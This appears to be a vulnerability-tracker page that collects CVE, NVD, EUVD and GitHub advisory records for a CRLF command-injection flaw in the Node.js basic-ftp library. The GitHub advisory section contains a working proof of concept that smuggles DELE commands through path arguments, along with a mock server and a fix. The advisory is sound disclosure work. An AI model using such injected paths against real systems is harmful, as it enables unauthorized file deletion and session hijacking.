FTP Command Injection via CRLF in basic-ftp
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-39983
Publishedbasic-ftp is an FTP client for Node.js. Prior to 5.2.1, basic-ftp allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. This vulnerability is fixed in 5.2.1.
- Source published
- 9 Apr 2026 17:05:46 UTC
- Source modified
- 15 Jul 2026 01:01:38 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
euvd · EUVD-2026-20976
Publishedbasic-ftp is an FTP client for Node.js. Prior to 5.2.1, basic-ftp allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. This vulnerability is fixed in 5.2.1.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 9, 2026, 5:05:46 PM
dateUpdated: Jul 15, 2026, 1:01:38 AM
3 related source bulletins · separate from aliases
RHSA-2026:9742: Red Hat Security Advisory: Red Hat Developer Hub 1.8.6 release.
CVE-2025-62718 · CVE-2025-69534 · CVE-2025-69873 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-25679 · CVE-2026-26996 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-33036 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175
WID-SEC-W-2026-1407: IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen
CVE-2026-26013 · CVE-2026-27142 · CVE-2026-28277 · CVE-2026-28684 · CVE-2026-32288 · CVE-2026-33151 · CVE-2026-33349 · CVE-2026-33532 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-33916 · CVE-2026-34601 · CVE-2026-35469 · CVE-2026-39406 · CVE-2026-39407 · CVE-2026-39408 · CVE-2026-39409 · CVE-2026-39410 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40347 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-4923 · CVE-2026-4926
RHSA-2026:13826: Red Hat Security Advisory: Red Hat Developer Hub 1.9.4 release.
CVE-2025-62718 · CVE-2025-69534 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40895
- Source published
- Apr 9, 2026, 5:05:46 PM (timezone not stated)
- Source modified
- Jul 15, 2026, 1:01:38 AM (timezone not stated)
- Observed here
- 1 Nov 2026 06:14:52 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
nvd · CVE-2026-39983
Publishedbasic-ftp is an FTP client for Node.js. Prior to 5.2.1, basic-ftp allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. This vulnerability is fixed in 5.2.1.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-93
Original publisher date fields
published: 2026-04-09T18:17:02.503
lastModified: 2026-10-26T22:10:00.163
1 source CPE criteria · context only
- cpe:2.3:a:patrickjuchli:basic-ftp:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 9 Apr 2026 18:17:02 UTC
- Source modified
- 26 Oct 2026 22:10:00 UTC
- Observed here
- 27 Oct 2026 10:09:56 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
osv · GHSA-chqc-8p9q-pq6q
Published## Summary `basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\r\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library's `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\r\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. ## Affected product | Product | Affected versions | Fixed version | | --- | --- | --- | | basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 | ## Vulnerability details - CWE: `CWE-93` - Improper Neutralization of CRLF Sequences ('CRLF Injection') - CVSS 3.1: `8.6` (`High`) - Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` - Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()` The vulnerability exists because of two interacting code patterns: **1. Inadequate path sanitization in `protectWhitespace()` (line 677):** ```javascript async protectWhitespace(path) { if (!path.startsWith(" ")) { return path; // No sanitization of \r\n characters } const pwd = await this.pwd(); const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/"; return absolutePathPrefix + path; } ``` This function only handles leading whitespace. It does not strip or reject `\r` (0x0D) or `\n` (0x0A) characters anywhere in the path string. **2. Direct socket write in `send()` (FtpContext.js line 177):** ```javascript send(command) { this._socket.write(command + "\r\n", this.encoding); } ``` The `send()` method appends `\r\n` to the command and writes directly to the TCP socket. If the command string already contains `\r\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands. **Affected methods** (all call `protectWhitespace()` → `send()`): - `cd(path)` → `CWD ${path}` - `remove(path)` → `DELE ${path}` - `list(path)` → `LIST ${path}` - `downloadTo(localPath, remotePath)` → `RETR ${remotePath}` - `uploadFrom(localPath, remotePath)` → `STOR ${remotePath}` - `rename(srcPath, destPath)` → `RNFR ${srcPath}` / `RNTO ${destPath}` - `removeDir(path)` → `RMD ${path}` ## Technical impact An attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling: 1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server 2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories 3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files 4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands 5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user 6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly The attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server. ## Proof of concept **Prerequisites:** ```bash mkdir basic-ftp-poc && cd basic-ftp-poc npm init -y npm install [email protected] ``` **Mock FTP server (ftp-server-mock.js):** ```javascript const net = require('net'); const server = net.createServer(conn => { console.log('[+] Client connected'); conn.write('220 Mock FTP\r\n'); let buffer = ''; conn.on('data', data => { buffer += data.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('[CMD] ' + JSON.stringify(line)); if (line.startsWith('USER')) conn.write('331 OK\r\n'); else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n'); else if (line.startsWith('FEAT')) conn.write('211 End\r\n'); else if (line.startsWith('TYPE')) conn.write('200 OK\r\n'); else if (line.startsWith('PWD')) conn.write('257 "/"\r\n'); else if (line.startsWith('OPTS')) conn.write('200 OK\r\n'); else if (line.startsWith('STRU')) conn.write('200 OK\r\n'); else if (line.startsWith('CWD')) conn.write('250 OK\r\n'); else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n'); else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); } else conn.write('200 OK\r\n'); } }); }); server.listen(2121, () => console.log('[*] Mock FTP on port 2121')); ``` **Exploit (poc.js):** ```javascript const ftp = require('basic-ftp'); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; try { await client.access({ host: '127.0.0.1', port: 2121, user: 'anonymous', password: 'anonymous' }); // Attack 1: Inject DELE command via cd() // Intended: CWD harmless.txt // Actual: CWD harmless.txt\r\nDELE /important-file.txt const maliciousPath = "harmless.txt\r\nDELE /important-file.txt"; console.log('\n=== Attack 1: DELE injection via cd() ==='); try { await client.cd(maliciousPath); } catch(e) {} // Attack 2: Double DELE via remove() const maliciousPath2 = "decoy.txt\r\nDELE /secret-data.txt"; console.log('\n=== Attack 2: DELE injection via remove() ==='); try { await client.remove(maliciousPath2); } catch(e) {} } finally { client.close(); } } exploit(); ``` **Running the PoC:** ```bash # Terminal 1: Start mock FTP server node ftp-server-mock.js # Terminal 2: Run exploit node poc.js ``` **Expected output on mock server:** ``` "OPTS UTF8 ON" "USER anonymous" "PASS anonymous" "FEAT" "TYPE I" "STRU F" "OPTS UTF8 ON" "CWD harmless.txt" "DELE /important-file.txt" <-- injected from cd() "DELE decoy.txt" "DELE /secret-data.txt" <-- injected from remove() "QUIT" ``` This command trace was reproduced against the published `[email protected]` package on Linux with a local mock FTP server. The injected `DELE` commands are received as distinct FTP commands, confirming that CRLF inside path parameters is not neutralized before socket write. ## Mitigation **Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp: ```javascript function sanitizeFtpPath(path) { if (/[\r\n]/.test(path)) { throw new Error('Invalid FTP path: contains control characters'); } return path; } // Usage await client.cd(sanitizeFtpPath(userInput)); ``` **Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\r` and `\n` characters from all path inputs: ```javascript async protectWhitespace(path) { // Reject CRLF injection attempts if (/[\r\n\0]/.test(path)) { throw new Error('Invalid path: contains control characters'); } if (!path.startsWith(" ")) { return path; } const pwd = await this.pwd(); const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/"; return absolutePathPrefix + path; } ``` ## References - [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp) - [GitHub repository](https://github.com/patrickjuchli/basic-ftp) - [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts) - [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)
- Source published
- 8 Apr 2026 20:02:25 UTC
- Source modified
- 10 Sep 2026 03:50:43 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
Publisher rating · HIGH